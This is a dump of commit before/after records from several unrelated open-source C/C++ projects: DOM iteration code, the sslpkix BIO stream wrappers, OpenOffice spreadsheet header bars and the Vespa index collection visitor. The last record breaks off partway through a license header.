fRoot) {\n\n \/\/ end of list, return null\n\t\tDOM_Node aNull;\n return aNull;\n}\n\n\n\/** The method previousNode(DOM_Node) returns the previous node\n * from the actual DOM tree.\n *\/\n\nDOM_Node NodeIteratorImpl::previousNode (DOM_Node node) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n DOM_Node result;\n\n \/\/ if we're at the root, return null.\n if (node == fRoot)\n\t\t\treturn result;\n\n \/\/ get sibling\n result = node.getPreviousSibling();\n if (result.isNull()) {\n \/\/if 1st sibling, return parent\n result = node.getParentNode();\n return result;\n }\n\n \/\/ if sibling has children, keep getting last child of child.\n if (result.hasChildNodes()) {\n while (result.hasChildNodes()) {\n result = result.getLastChild();\n }\n }\n\n return result;\n}\n\n\n\/** Fix-up the iterator on a remove. Called by DOM or otherwise,\n * before an actual DOM remove.\n *\/\n\nvoid NodeIteratorImpl::removeNode (DOM_Node node) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n \/\/ Implementation note: Fix-up means setting the current node properly\n \/\/ after a remove.\n\n if (node.isNull())\n\t\t\t\treturn;\n\n DOM_Node deleted = matchNodeOrParent(node);\n\n if (deleted.isNull()) return;\n\n if (fForward) {\n fCurrentNode = previousNode(deleted);\n } else\n \/\/ if (!fForward)\n {\n DOM_Node next = nextNode(deleted, false);\n if (! next.isNull()) {\n \/\/ normal case: there _are_ nodes following this in the iterator.\n fCurrentNode = next;\n } else {\n \/\/ the last node in the iterator is to be removed,\n \/\/ so we set the current node to be the previous one.\n fCurrentNode = previousNode(deleted);\n fForward = true;\n }\n\n }\n\n}\n\n\nvoid NodeIteratorImpl::unreferenced()\n{\n DOM_Document doc = fRoot.getOwnerDocument();\n DocumentImpl* impl;\n\n if (! doc.isNull()) {\n impl = (DocumentImpl *) doc.fImpl;\n }\n else\n impl = (DocumentImpl *) fRoot.fImpl;\n\n if (impl->iterators != 0L) {\n int i;\n int sz = impl->iterators->size();\n for (i = 0; i < sz; i++)\n if (impl->iterators->elementAt(i) == this) {\n impl->iterators->removeElementAt(i);\n break;\n }\n }\n\n delete this;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"sslpkix\/iosink.h\"\n\nnamespace sslpkix {\n\nIoSink& operator<<(IoSink& sink, const std::string& str) {\n\tconst size_t total_size = str.length();\n\tconst char *buf = str.data();\n\tconst char *current = buf;\n\tsize_t written_size = 0;\n\tint ret = 0;\n\n\tdo {\n\t\tret = BIO_write(sink.handle(), current, total_size - written_size);\n\t\tif (ret > 0) {\n\t\t\tcurrent += ret;\n\t\t\twritten_size += static_cast<size_t>(ret);\n\t\t}\n\t} while (ret > 0 && written_size < total_size);\n\n\tif (ret == 0 || ret == -1)\n\t\tthrow std::ios_base::failure(\"BIO_write failed\");\n\telse if (ret == -2)\n\t\tthrow std::ios_base::failure(\"BIO_write is not implemented for this BIO\");\n\n\t\/\/ TODO: Need to check result? 1=success, 0 or -1=failure\n\tret = BIO_flush(sink.handle());\n\n\treturn sink;\n}\n\nIoSink& operator>>(IoSink& sink, std::string& str) {\n\tchar buf[1024];\n\tint ret = 0;\n\n\tdo {\n\t\tret = BIO_read(sink.handle(), buf, sizeof(buf));\n\t\tif (ret > 0)\n\t\t\tstr.append(buf, ret);\n\t} while (ret > 0);\n\n\tif (ret == -1)\n\t\tthrow std::ios_base::failure(\"BIO_read failed\");\n\telse if (ret == -2)\n\t\tthrow std::ios_base::failure(\"BIO_read is not implemented for this BIO\");\n\n\treturn sink;\n}\n\nstd::ostream& operator<<(std::ostream& stream, IoSink& sink) {\n\tchar buf[1024];\n\tint ret = 0;\n\n\tdo {\n\t\tret = BIO_read(sink.handle(), buf, sizeof(buf)-1);\n\t\tif (ret > 0) {\n\t\t\tbuf[ret] = '\\0';\n\t\t\tstream << buf;\n\t\t}\n\t} while (ret > 0);\n\n\tif (ret == -1)\n\t\t; \/\/ EOF?\n\telse if (ret == -2)\n\t\tthrow std::ios_base::failure(\"BIO_read is not implemented for this BIO\");\n\n\treturn stream;\n}\n\nstd::istream& operator>>(std::istream& stream, IoSink& sink) {\n\tchar buf[1024];\n\tint ret = 0;\n\n\twhile (!stream.eof()) {\n\t\tstream.read(buf, sizeof(buf));\n\t\tret = BIO_write(sink.handle(), buf, stream.gcount());\n\t\t\/\/ BIO_write must succeed writing the exact amount of bytes we pass to it.\n\t\tif (ret == 0 || ret == -1)\n\t\t\tthrow std::ios_base::failure(\"BIO_write failed\");\n\t\telse if (ret == -2)\n\t\t\tthrow std::ios_base::failure(\"BIO_write is not implemented for this BIO\");\n\t}\n\n\t\/\/ TODO: Need to check result? 1=success, 0 or -1=failure\n\tret = BIO_flush(sink.handle());\n\n\treturn stream;\n}\n\n} \/\/ namespace sslpkix\n<commit_msg>BIO_read: A return of -1 is not necessarily an indication of error.<commit_after>#include \"sslpkix\/iosink.h\"\n\nnamespace sslpkix {\n\nIoSink& operator<<(IoSink& sink, const std::string& str) {\n\tconst size_t total_size = str.length();\n\tconst char *buf = str.data();\n\tconst char *current = buf;\n\tsize_t written_size = 0;\n\tint ret = 0;\n\n\tdo {\n\t\tret = BIO_write(sink.handle(), current, total_size - written_size);\n\t\tif (ret > 0) {\n\t\t\tcurrent += ret;\n\t\t\twritten_size += static_cast<size_t>(ret);\n\t\t}\n\t} while (ret > 0 && written_size < total_size);\n\n\tif (ret == 0 || ret == -1)\n\t\tthrow std::ios_base::failure(\"BIO_write failed\");\n\telse if (ret == -2)\n\t\tthrow std::ios_base::failure(\"BIO_write is not implemented for this BIO\");\n\n\t\/\/ TODO: Need to check result? 1=success, 0 or -1=failure\n\tret = BIO_flush(sink.handle());\n\n\treturn sink;\n}\n\nIoSink& operator>>(IoSink& sink, std::string& str) {\n\tchar buf[1024];\n\tint ret = 0;\n\n\tdo {\n\t\tret = BIO_read(sink.handle(), buf, sizeof(buf));\n\t\tif (ret > 0)\n\t\t\tstr.append(buf, ret);\n\t} while (ret > 0);\n\n\t\/\/ man BIO_read - http:\/\/www.manpagez.com\/man\/3\/BIO_read\/ \n\t\/\/ NOTES\n\t\/\/ \t\tA 0 or -1 return is not necessarily an indication of an error. In\n\t\/\/\t\tparticular when the source\/sink is non-blocking or of a certain type it\n\t\/\/ \t\tmay merely be an indication that no data is currently available and\n\t\/\/ \t\tthat the application should retry the operation later.\n\n\tif (ret == -1)\n\t\t; \/\/ EOF?\n\telse if (ret == -2)\n\t\tthrow std::ios_base::failure(\"BIO_read is not implemented for this BIO\");\n\n\treturn sink;\n}\n\nstd::ostream& operator<<(std::ostream& stream, IoSink& sink) {\n\tchar buf[1024];\n\tint ret = 0;\n\n\tdo {\n\t\tret = BIO_read(sink.handle(), buf, sizeof(buf)-1);\n\t\tif (ret > 0) {\n\t\t\tbuf[ret] = '\\0';\n\t\t\tstream << buf;\n\t\t}\n\t} while (ret > 0);\n\n\tif (ret == -1)\n\t\t; \/\/ EOF?\n\telse if (ret == -2)\n\t\tthrow std::ios_base::failure(\"BIO_read is not implemented for this BIO\");\n\n\treturn stream;\n}\n\nstd::istream& operator>>(std::istream& stream, IoSink& sink) {\n\tchar buf[1024];\n\tint ret = 0;\n\n\twhile (!stream.eof()) {\n\t\tstream.read(buf, sizeof(buf));\n\t\tret = BIO_write(sink.handle(), buf, stream.gcount());\n\t\t\/\/ BIO_write must succeed writing the exact amount of bytes we pass to it.\n\t\tif (ret == 0 || ret == -1)\n\t\t\tthrow std::ios_base::failure(\"BIO_write failed\");\n\t\telse if (ret == -2)\n\t\t\tthrow std::ios_base::failure(\"BIO_write is not implemented for this BIO\");\n\t}\n\n\t\/\/ TODO: Need to check result? 1=success, 0 or -1=failure\n\tret = BIO_flush(sink.handle());\n\n\treturn stream;\n}\n\n} \/\/ namespace sslpkix\n<|endoftext|>"} {"text":"<commit_before><commit_msg>missing pointer check in new multiline input code, fdo#43856<commit_after><|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: colrowba.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: hr $ $Date: 2004-02-03 12:37:08 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_COLROWBAR_HXX\n#define SC_COLROWBAR_HXX\n\n#ifndef SC_HDRCONT_HXX\n#include \"hdrcont.hxx\"\n#endif\n\n#ifndef SC_VIEWDATA_HXX\n#include \"viewdata.hxx\"\n#endif\n\nclass ScHeaderFunctionSet;\nclass ScHeaderSelectionEngine;\n\n\/\/ ---------------------------------------------------------------------------\n\n\nclass ScColBar : public ScHeaderControl\n{\n ScViewData* pViewData;\n ScHSplitPos eWhich;\n ScHeaderFunctionSet* pFuncSet;\n ScHeaderSelectionEngine* pSelEngine;\n\npublic:\n ScColBar( Window* pParent, ScViewData* pData, ScHSplitPos eWhichPos,\n ScHeaderFunctionSet* pFunc, ScHeaderSelectionEngine* pEng );\n ~ScColBar();\n\n virtual USHORT GetPos();\n virtual USHORT GetEntrySize( USHORT nEntryNo );\n virtual String GetEntryText( USHORT nEntryNo );\n\n virtual BOOL IsLayoutRTL(); \/\/ only for columns\n\n virtual void SetEntrySize( USHORT nPos, USHORT nNewSize );\n virtual void HideEntries( USHORT nStart, USHORT nEnd );\n\n virtual void SetMarking( BOOL bSet );\n virtual void SelectWindow();\n virtual BOOL IsDisabled();\n virtual BOOL ResizeAllowed();\n\n virtual void DrawInvert( long nDragPos );\n\n virtual String GetDragHelp( long nVal );\n};\n\n\nclass ScRowBar : public ScHeaderControl\n{\n ScViewData* pViewData;\n ScVSplitPos eWhich;\n ScHeaderFunctionSet* pFuncSet;\n ScHeaderSelectionEngine* pSelEngine;\n\npublic:\n ScRowBar( Window* pParent, ScViewData* pData, ScVSplitPos eWhichPos,\n ScHeaderFunctionSet* pFunc, ScHeaderSelectionEngine* pEng );\n ~ScRowBar();\n\n virtual USHORT GetPos();\n virtual USHORT GetEntrySize( USHORT nEntryNo );\n virtual String GetEntryText( USHORT nEntryNo );\n\n virtual BOOL IsMirrored(); \/\/ only for columns\n virtual USHORT GetHiddenCount( USHORT nEntryNo ); \/\/ only for columns\n\n virtual void SetEntrySize( USHORT nPos, USHORT nNewSize );\n virtual void HideEntries( USHORT nStart, USHORT nEnd );\n\n virtual void SetMarking( BOOL bSet );\n virtual void SelectWindow();\n virtual BOOL IsDisabled();\n virtual BOOL ResizeAllowed();\n\n virtual void DrawInvert( long nDragPos );\n\n virtual String GetDragHelp( long nVal );\n};\n\n\n\n#endif\n\n\n<commit_msg>INTEGRATION: CWS rowlimit (1.2.12); FILE MERGED 2004\/02\/26 19:13:39 jmarmion 1.2.12.1: #i1967# setp 5 changes.<commit_after>\/*************************************************************************\n *\n * $RCSfile: colrowba.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: obo $ $Date: 2004-06-04 11:30:53 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_COLROWBAR_HXX\n#define SC_COLROWBAR_HXX\n\n#ifndef SC_HDRCONT_HXX\n#include \"hdrcont.hxx\"\n#endif\n\n#ifndef SC_VIEWDATA_HXX\n#include \"viewdata.hxx\"\n#endif\n\nclass ScHeaderFunctionSet;\nclass ScHeaderSelectionEngine;\n\n\/\/ ---------------------------------------------------------------------------\n\n\nclass ScColBar : public ScHeaderControl\n{\n ScViewData* pViewData;\n ScHSplitPos eWhich;\n ScHeaderFunctionSet* pFuncSet;\n ScHeaderSelectionEngine* pSelEngine;\n\npublic:\n ScColBar( Window* pParent, ScViewData* pData, ScHSplitPos eWhichPos,\n ScHeaderFunctionSet* pFunc, ScHeaderSelectionEngine* pEng );\n ~ScColBar();\n\n virtual SCCOLROW GetPos();\n virtual USHORT GetEntrySize( SCCOLROW nEntryNo );\n virtual String GetEntryText( SCCOLROW nEntryNo );\n\n virtual BOOL IsLayoutRTL(); \/\/ only for columns\n\n virtual void SetEntrySize( SCCOLROW nPos, USHORT nNewSize );\n virtual void HideEntries( SCCOLROW nStart, SCCOLROW nEnd );\n\n virtual void SetMarking( BOOL bSet );\n virtual void SelectWindow();\n virtual BOOL IsDisabled();\n virtual BOOL ResizeAllowed();\n\n virtual void DrawInvert( long nDragPos );\n\n virtual String GetDragHelp( long nVal );\n};\n\n\nclass ScRowBar : public ScHeaderControl\n{\n ScViewData* pViewData;\n ScVSplitPos eWhich;\n ScHeaderFunctionSet* pFuncSet;\n ScHeaderSelectionEngine* pSelEngine;\n\npublic:\n ScRowBar( Window* pParent, ScViewData* pData, ScVSplitPos eWhichPos,\n ScHeaderFunctionSet* pFunc, ScHeaderSelectionEngine* pEng );\n ~ScRowBar();\n\n virtual SCCOLROW GetPos();\n virtual USHORT GetEntrySize( SCCOLROW nEntryNo );\n virtual String GetEntryText( SCCOLROW nEntryNo );\n\n virtual BOOL IsMirrored(); \/\/ only for columns\n virtual SCROW GetHiddenCount( SCROW nEntryNo ); \/\/ only for columns\n\n virtual void SetEntrySize( SCCOLROW nPos, USHORT nNewSize );\n virtual void HideEntries( SCCOLROW nStart, SCCOLROW nEnd );\n\n virtual void SetMarking( BOOL bSet );\n virtual void SelectWindow();\n virtual BOOL IsDisabled();\n virtual BOOL ResizeAllowed();\n\n virtual void DrawInvert( long nDragPos );\n\n virtual String GetDragHelp( long nVal );\n};\n\n\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"indexcollection.h\"\n#include \"indexsearchablevisitor.h\"\n#include <vespa\/searchlib\/queryeval\/isourceselector.h>\n#include <vespa\/searchlib\/queryeval\/create_blueprint_visitor_helper.h>\n#include <vespa\/searchlib\/queryeval\/intermediate_blueprints.h>\n#include <vespa\/searchlib\/queryeval\/leaf_blueprints.h>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".searchcorespi.index.indexcollection\");\n\nusing namespace search::queryeval;\nusing namespace search::query;\nusing search::attribute::IAttributeContext;\n\nnamespace searchcorespi {\n\nIndexCollection::IndexCollection(const ISourceSelector::SP & selector)\n : _source_selector(selector),\n _sources()\n{\n}\n\nIndexCollection::IndexCollection(const ISourceSelector::SP & selector,\n const ISearchableIndexCollection &sources)\n : _source_selector(selector),\n _sources()\n{\n for (size_t i(0), m(sources.getSourceCount()); i < m; i++) {\n append(sources.getSourceId(i), sources.getSearchableSP(i));\n }\n setCurrentIndex(sources.getCurrentIndex());\n}\n\nIndexCollection::~IndexCollection() {}\n\nvoid\nIndexCollection::setSource(uint32_t docId)\n{\n assert( valid() );\n _source_selector->setSource(docId, getCurrentIndex());\n}\n\nISearchableIndexCollection::UP\nIndexCollection::replaceAndRenumber(const ISourceSelector::SP & selector,\n const ISearchableIndexCollection &fsc,\n uint32_t id_diff,\n const IndexSearchable::SP &new_source)\n{\n ISearchableIndexCollection::UP new_fsc(new IndexCollection(selector));\n new_fsc->append(0, new_source);\n for (size_t i = 0; i < fsc.getSourceCount(); ++i) {\n if (fsc.getSourceId(i) > id_diff) {\n new_fsc->append(fsc.getSourceId(i) - id_diff,\n fsc.getSearchableSP(i));\n }\n }\n return new_fsc;\n}\n\nvoid\nIndexCollection::append(uint32_t id, const IndexSearchable::SP &fs)\n{\n _sources.push_back(SourceWithId(id, fs));\n}\n\nIndexSearchable::SP\nIndexCollection::getSearchableSP(uint32_t i) const\n{\n return _sources[i].source_wrapper;\n}\n\nvoid\nIndexCollection::replace(uint32_t id, const IndexSearchable::SP &fs)\n{\n for (size_t i = 0; i < _sources.size(); ++i) {\n if (_sources[i].id == id) {\n _sources[i].source_wrapper = fs;\n return;\n }\n }\n LOG(warning, \"Tried to replace Searchable %d, but it wasn't there.\", id);\n append(id, fs);\n}\n\nconst ISourceSelector &\nIndexCollection::getSourceSelector() const\n{\n return *_source_selector;\n}\n\nsize_t\nIndexCollection::getSourceCount() const\n{\n return _sources.size();\n}\n\nIndexSearchable &\nIndexCollection::getSearchable(uint32_t i) const\n{\n return *_sources[i].source_wrapper;\n}\n\nuint32_t\nIndexCollection::getSourceId(uint32_t i) const\n{\n return _sources[i].id;\n}\n\nsearch::SearchableStats\nIndexCollection::getSearchableStats() const\n{\n search::SearchableStats stats;\n for (size_t i = 0; i < _sources.size(); ++i) {\n stats.add(_sources[i].source_wrapper->getSearchableStats());\n }\n return stats;\n}\n\nsearch::SerialNum\nIndexCollection::getSerialNum() const\n{\n search::SerialNum serialNum = 0;\n for (auto &source : _sources) {\n serialNum = std::max(serialNum, source.source_wrapper->getSerialNum());\n }\n return serialNum;\n}\n\n\nvoid\nIndexCollection::accept(IndexSearchableVisitor &visitor) const\n{\n for (auto &source : _sources) {\n source.source_wrapper->accept(visitor);\n }\n}\n\nnamespace {\n\nstruct Mixer {\n const ISourceSelector &_selector;\n std::unique_ptr<SourceBlenderBlueprint> _blender;\n\n Mixer(const ISourceSelector &selector)\n : _selector(selector), _blender() {}\n\n void addIndex(Blueprint::UP index) {\n if (_blender.get() == NULL) {\n _blender.reset(new SourceBlenderBlueprint(_selector));\n }\n _blender->addChild(std::move(index));\n }\n\n Blueprint::UP mix() {\n if (_blender.get() == NULL) {\n return Blueprint::UP(new EmptyBlueprint());\n }\n return Blueprint::UP(_blender.release());\n }\n};\n\nclass CreateBlueprintVisitor : public search::query::QueryVisitor {\nprivate:\n const IIndexCollection &_indexes;\n const FieldSpecList &_fields;\n const IRequestContext &_requestContext;\n Blueprint::UP _result;\n\n template <typename NodeType>\n void visitTerm(NodeType &n) {\n Mixer mixer(_indexes.getSourceSelector());\n for (size_t i = 0; i < _indexes.getSourceCount(); ++i) {\n Blueprint::UP blueprint = _indexes.getSearchable(i).createBlueprint(_requestContext, _fields, n);\n blueprint->setSourceId(_indexes.getSourceId(i));\n mixer.addIndex(std::move(blueprint));\n }\n _result = mixer.mix();\n }\n\n void visit(And &) override { }\n void visit(AndNot &) override { }\n void visit(Or &) override { }\n void visit(WeakAnd &) override { }\n void visit(Equiv &) override { }\n void visit(Rank &) override { }\n void visit(Near &) override { }\n void visit(ONear &) override { }\n\n void visit(WeightedSetTerm &n) override { visitTerm(n); }\n void visit(DotProduct &n) override { visitTerm(n); }\n void visit(WandTerm &n) override { visitTerm(n); }\n void visit(Phrase &n) override { visitTerm(n); }\n void visit(SameElement &n) override { visitTerm(n); }\n void visit(NumberTerm &n) override { visitTerm(n); }\n void visit(LocationTerm &n) override { visitTerm(n); }\n void visit(PrefixTerm &n) override { visitTerm(n); }\n void visit(RangeTerm &n) override { visitTerm(n); }\n void visit(StringTerm &n) override { visitTerm(n); }\n void visit(SubstringTerm &n) override { visitTerm(n); }\n void visit(SuffixTerm &n) override { visitTerm(n); }\n void visit(PredicateQuery &n) override { visitTerm(n); }\n void visit(RegExpTerm &n) override { visitTerm(n); }\n\npublic:\n CreateBlueprintVisitor(const IIndexCollection &indexes,\n const FieldSpecList &fields,\n const IRequestContext & requestContext)\n : _indexes(indexes),\n _fields(fields),\n _requestContext(requestContext),\n _result() {}\n\n Blueprint::UP getResult() { return std::move(_result); }\n};\n\n}\n\nBlueprint::UP\nIndexCollection::createBlueprint(const IRequestContext & requestContext,\n const FieldSpec &field,\n const Node &term)\n{\n FieldSpecList fields;\n fields.add(field);\n return createBlueprint(requestContext, fields, term);\n}\n\nBlueprint::UP\nIndexCollection::createBlueprint(const IRequestContext & requestContext,\n const FieldSpecList &fields,\n const Node &term)\n{\n CreateBlueprintVisitor visitor(*this, fields, requestContext);\n const_cast<Node &>(term).accept(visitor);\n return visitor.getResult();\n}\n\n} \/\/ namespace searchcorespi\n<commit_msg>SameEelemt is not a term.<commit_after>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"indexcollection.h\"\n#include \"indexsearchablevisitor.h\"\n#include <vespa\/searchlib\/queryeval\/isourceselector.h>\n#include <vespa\/searchlib\/queryeval\/create_blueprint_visitor_helper.h>\n#include <vespa\/searchlib\/queryeval\/intermediate_blueprints.h>\n#include <vespa\/searchlib\/queryeval\/leaf_blueprints.h>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".searchcorespi.index.indexcollection\");\n\nusing namespace search::queryeval;\nusing namespace search::query;\nusing search::attribute::IAttributeContext;\n\nnamespace searchcorespi {\n\nIndexCollection::IndexCollection(const ISourceSelector::SP & selector)\n : _source_selector(selector),\n _sources()\n{\n}\n\nIndexCollection::IndexCollection(const ISourceSelector::SP & selector,\n const ISearchableIndexCollection &sources)\n : _source_selector(selector),\n _sources()\n{\n for (size_t i(0), m(sources.getSourceCount()); i < m; i++) {\n append(sources.getSourceId(i), sources.getSearchableSP(i));\n }\n setCurrentIndex(sources.getCurrentIndex());\n}\n\nIndexCollection::~IndexCollection() {}\n\nvoid\nIndexCollection::setSource(uint32_t docId)\n{\n assert( valid() );\n _source_selector->setSource(docId, getCurrentIndex());\n}\n\nISearchableIndexCollection::UP\nIndexCollection::replaceAndRenumber(const ISourceSelector::SP & selector,\n const ISearchableIndexCollection &fsc,\n uint32_t id_diff,\n const IndexSearchable::SP &new_source)\n{\n ISearchableIndexCollection::UP new_fsc(new IndexCollection(selector));\n new_fsc->append(0, new_source);\n for (size_t i = 0; i < fsc.getSourceCount(); ++i) {\n if (fsc.getSourceId(i) > id_diff) {\n new_fsc->append(fsc.getSourceId(i) - id_diff,\n fsc.getSearchableSP(i));\n }\n }\n return new_fsc;\n}\n\nvoid\nIndexCollection::append(uint32_t id, const IndexSearchable::SP &fs)\n{\n _sources.push_back(SourceWithId(id, fs));\n}\n\nIndexSearchable::SP\nIndexCollection::getSearchableSP(uint32_t i) const\n{\n return _sources[i].source_wrapper;\n}\n\nvoid\nIndexCollection::replace(uint32_t id, const IndexSearchable::SP &fs)\n{\n for (size_t i = 0; i < _sources.size(); ++i) {\n if (_sources[i].id == id) {\n _sources[i].source_wrapper = fs;\n return;\n }\n }\n LOG(warning, \"Tried to replace Searchable %d, but it wasn't there.\", id);\n append(id, fs);\n}\n\nconst ISourceSelector &\nIndexCollection::getSourceSelector() const\n{\n return *_source_selector;\n}\n\nsize_t\nIndexCollection::getSourceCount() const\n{\n return _sources.size();\n}\n\nIndexSearchable &\nIndexCollection::getSearchable(uint32_t i) const\n{\n return *_sources[i].source_wrapper;\n}\n\nuint32_t\nIndexCollection::getSourceId(uint32_t i) const\n{\n return _sources[i].id;\n}\n\nsearch::SearchableStats\nIndexCollection::getSearchableStats() const\n{\n search::SearchableStats stats;\n for (size_t i = 0; i < _sources.size(); ++i) {\n stats.add(_sources[i].source_wrapper->getSearchableStats());\n }\n return stats;\n}\n\nsearch::SerialNum\nIndexCollection::getSerialNum() const\n{\n search::SerialNum serialNum = 0;\n for (auto &source : _sources) {\n serialNum = std::max(serialNum, source.source_wrapper->getSerialNum());\n }\n return serialNum;\n}\n\n\nvoid\nIndexCollection::accept(IndexSearchableVisitor &visitor) const\n{\n for (auto &source : _sources) {\n source.source_wrapper->accept(visitor);\n }\n}\n\nnamespace {\n\nstruct Mixer {\n const ISourceSelector &_selector;\n std::unique_ptr<SourceBlenderBlueprint> _blender;\n\n Mixer(const ISourceSelector &selector)\n : _selector(selector), _blender() {}\n\n void addIndex(Blueprint::UP index) {\n if (_blender.get() == NULL) {\n _blender.reset(new SourceBlenderBlueprint(_selector));\n }\n _blender->addChild(std::move(index));\n }\n\n Blueprint::UP mix() {\n if (_blender.get() == NULL) {\n return Blueprint::UP(new EmptyBlueprint());\n }\n return Blueprint::UP(_blender.release());\n }\n};\n\nclass CreateBlueprintVisitor : public search::query::QueryVisitor {\nprivate:\n const IIndexCollection &_indexes;\n const FieldSpecList &_fields;\n const IRequestContext &_requestContext;\n Blueprint::UP _result;\n\n template <typename NodeType>\n void visitTerm(NodeType &n) {\n Mixer mixer(_indexes.getSourceSelector());\n for (size_t i = 0; i < _indexes.getSourceCount(); ++i) {\n Blueprint::UP blueprint = _indexes.getSearchable(i).createBlueprint(_requestContext, _fields, n);\n blueprint->setSourceId(_indexes.getSourceId(i));\n mixer.addIndex(std::move(blueprint));\n }\n _result = mixer.mix();\n }\n\n void visit(And &) override { }\n void visit(AndNot &) override { }\n void visit(Or &) override { }\n void visit(WeakAnd &) override { }\n void visit(Equiv &) override { }\n void visit(Rank &) override { }\n void visit(Near &) override { }\n void visit(ONear &) override { }\n void visit(SameElement &) override { }\n\n\n void visit(WeightedSetTerm &n) override { visitTerm(n); }\n void visit(DotProduct &n) override { visitTerm(n); }\n void visit(WandTerm &n) override { visitTerm(n); }\n void visit(Phrase &n) override { visitTerm(n); }\n void visit(NumberTerm &n) override { visitTerm(n); }\n void visit(LocationTerm &n) override { visitTerm(n); }\n void visit(PrefixTerm &n) override { visitTerm(n); }\n void visit(RangeTerm &n) override { visitTerm(n); }\n void visit(StringTerm &n) override { visitTerm(n); }\n void visit(SubstringTerm &n) override { visitTerm(n); }\n void visit(SuffixTerm &n) override { visitTerm(n); }\n void visit(PredicateQuery &n) override { visitTerm(n); }\n void visit(RegExpTerm &n) override { visitTerm(n); }\n\npublic:\n CreateBlueprintVisitor(const IIndexCollection &indexes,\n const FieldSpecList &fields,\n const IRequestContext & requestContext)\n : _indexes(indexes),\n _fields(fields),\n _requestContext(requestContext),\n _result() {}\n\n Blueprint::UP getResult() { return std::move(_result); }\n};\n\n}\n\nBlueprint::UP\nIndexCollection::createBlueprint(const IRequestContext & requestContext,\n const FieldSpec &field,\n const Node &term)\n{\n FieldSpecList fields;\n fields.add(field);\n return createBlueprint(requestContext, fields, term);\n}\n\nBlueprint::UP\nIndexCollection::createBlueprint(const IRequestContext & requestContext,\n const FieldSpecList &fields,\n const Node &term)\n{\n CreateBlueprintVisitor visitor(*this, fields, requestContext);\n const_cast<Node &>(term).accept(visitor);\n return visitor.getResult();\n}\n\n} \/\/ namespace searchcorespi\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: drawview.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2003-11-24 17:26:47 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 